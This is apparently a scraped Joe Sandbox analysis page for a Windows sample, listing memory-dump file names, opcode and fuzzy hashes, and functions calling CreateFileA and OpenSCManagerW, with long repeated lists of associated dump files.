Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f11115c54b155bbf2704df87b47f2b7313fabe2e77b694e35e61d3b816fcce38
Instruction ID: c14dbd5cb8b37471e070d5da8ce00226267d27f385dd7f5168e6a2c950adfd43
Opcode Fuzzy Hash: f11115c54b155bbf2704df87b47f2b7313fabe2e77b694e35e61d3b816fcce38
Instruction Fuzzy Hash: BF1144BB35C11A7DA200C6185E70EFAA3ACEBC6730B30C81EF443CA552D2584ECD9631

Function 00919B8B Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C77232F3,00919B82,00000003,00000000,00000003), ref: 00919C60

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fe7133a66afa727d235f7554a1e9969c6cacc4d165b1069a2fe49bc9893e0adc
Instruction ID: 473aba4911766107c9b734757f3e1e6b60d8fcd1ee6da5714a4895424d41819d
Opcode Fuzzy Hash: fe7133a66afa727d235f7554a1e9969c6cacc4d165b1069a2fe49bc9893e0adc
Instruction Fuzzy Hash: F11129B738C11E6DB6028A99AAB0DFEB7EDD7C3731B304826F5CAC6445D28008842570

Function 00919B60 Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C77232F3,00919B82,00000003,00000000,00000003), ref: 00919C60

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 98a3e958ff10a67a7d5df65d04593961b57fa133f7d6efaa5b83855c6c1dff18
Instruction ID: 5ad847b7641712de2a7ba5981579396fdd4cb23e1f61f973858065baeba470d4
Opcode Fuzzy Hash: 98a3e958ff10a67a7d5df65d04593961b57fa133f7d6efaa5b83855c6c1dff18
Instruction Fuzzy Hash: 88012BB374805E6EF6028A956FB0BFE77ADE7D3331B304426E4CAC7542D2940D896670

Function 00919BC4 Relevance: 1.6, APIs: 1, Instructions: 67
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C77232F3,00919B82,00000003,00000000,00000003), ref: 00919C60

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6c57364b157b2922b058e9daaafc0321b7539698f643bb2bb267bad0abfc69f7
Instruction ID: 67087f9de08df1ec3885bf046304e0b515865ec92c8280f30bba9bfbcc1a33f5
Opcode Fuzzy Hash: 6c57364b157b2922b058e9daaafc0321b7539698f643bb2bb267bad0abfc69f7
Instruction Fuzzy Hash: ED01F7B738801E3DB6028A996B70AFA67EDD7C3731B30442AF5CAC7542D2800D8926B0

Function 009199C2 Relevance: 1.6, APIs: 1, Instructions: 62
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 00919A80

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 82efa85eab22b257880232c9fc13c9dd50f04f20d838d28e0fc3eb4711262a89
Instruction ID: eb8d20dfa282089d680b5a05e1cba6532d0c8ea9eb40bd1ac5541487aa0daf28
Opcode Fuzzy Hash: 82efa85eab22b257880232c9fc13c9dd50f04f20d838d28e0fc3eb4711262a89
Instruction Fuzzy Hash: BD01F2E634925A6DA201D6245E70EFAA7ACEBD1720B70882BF502D7142E2584ECC9230

Function 04C90D42 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C90DCD

Memory Dump Source

Source File: 00000003.00000002.2555323304.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c90000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5f6b3fbe189c46a0e3a520ffd00e64a58d64a8d4dfdd9d90b0ee7527c5fd4b46
Instruction ID: 53446dea275905eaa64a953214bd330b1481c7e0efe84317955155bbdf4f01f1
Opcode Fuzzy Hash: 5f6b3fbe189c46a0e3a520ffd00e64a58d64a8d4dfdd9d90b0ee7527c5fd4b46
Instruction Fuzzy Hash: 092149B6C012189FCF10CF99D484ADEFBF5FF88310F14815AD918AB204D734A941CBA4

Function 04C90D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C90DCD

Memory Dump Source

Source File: 00000003.00000002.2555323304.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

